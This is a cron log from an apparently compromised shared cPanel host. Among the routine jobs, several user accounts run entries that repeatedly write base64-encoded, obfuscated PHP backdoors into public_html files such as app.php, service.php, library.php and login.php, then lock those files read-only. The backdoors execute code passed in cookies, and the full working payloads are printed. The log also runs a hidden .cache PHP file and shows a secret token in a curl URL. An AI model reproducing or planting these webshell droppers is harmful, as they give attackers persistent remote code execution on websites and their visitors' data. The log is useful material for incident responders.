Mar  2 01:28:01 medusa CROND[10060]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:28:01 medusa CROND[10067]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 01:29:01 medusa CROND[16450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:29:02 medusa CROND[16617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:29:02 medusa CROND[16618]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:29:02 medusa CROND[16619]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:29:02 medusa CROND[16620]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:29:02 medusa CROND[16621]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 01:29:02 medusa CROND[16622]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 01:29:02 medusa CROND[16625]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:29:02 medusa CROND[16636]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:29:02 medusa CROND[16635]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:29:02 medusa CROND[16637]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:29:02 medusa CROND[16638]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:29:02 medusa CROND[16648]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:30:01 medusa CROND[19454]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 01:30:01 medusa CROND[19462]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 01:30:01 medusa CROND[19642]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 01:30:01 medusa CROND[19700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:30:01 medusa CROND[19701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:30:01 medusa CROND[19705]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 01:30:01 medusa CROND[19706]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:30:01 medusa CROND[19709]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:30:01 medusa CROND[19711]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 01:30:01 medusa CROND[19712]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 01:30:01 medusa CROND[19703]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 01:30:01 medusa CROND[19716]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 01:30:01 medusa CROND[19719]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 01:30:01 medusa CROND[19720]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:30:01 medusa CROND[19721]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:30:01 medusa CROND[19718]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:30:01 medusa CROND[19715]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 01:30:01 medusa CROND[19722]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 01:30:01 medusa CROND[19708]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 01:30:01 medusa CROND[19727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 01:30:01 medusa CROND[19730]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 01:30:01 medusa CROND[19710]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 01:30:01 medusa CROND[19733]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:30:01 medusa CROND[19737]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
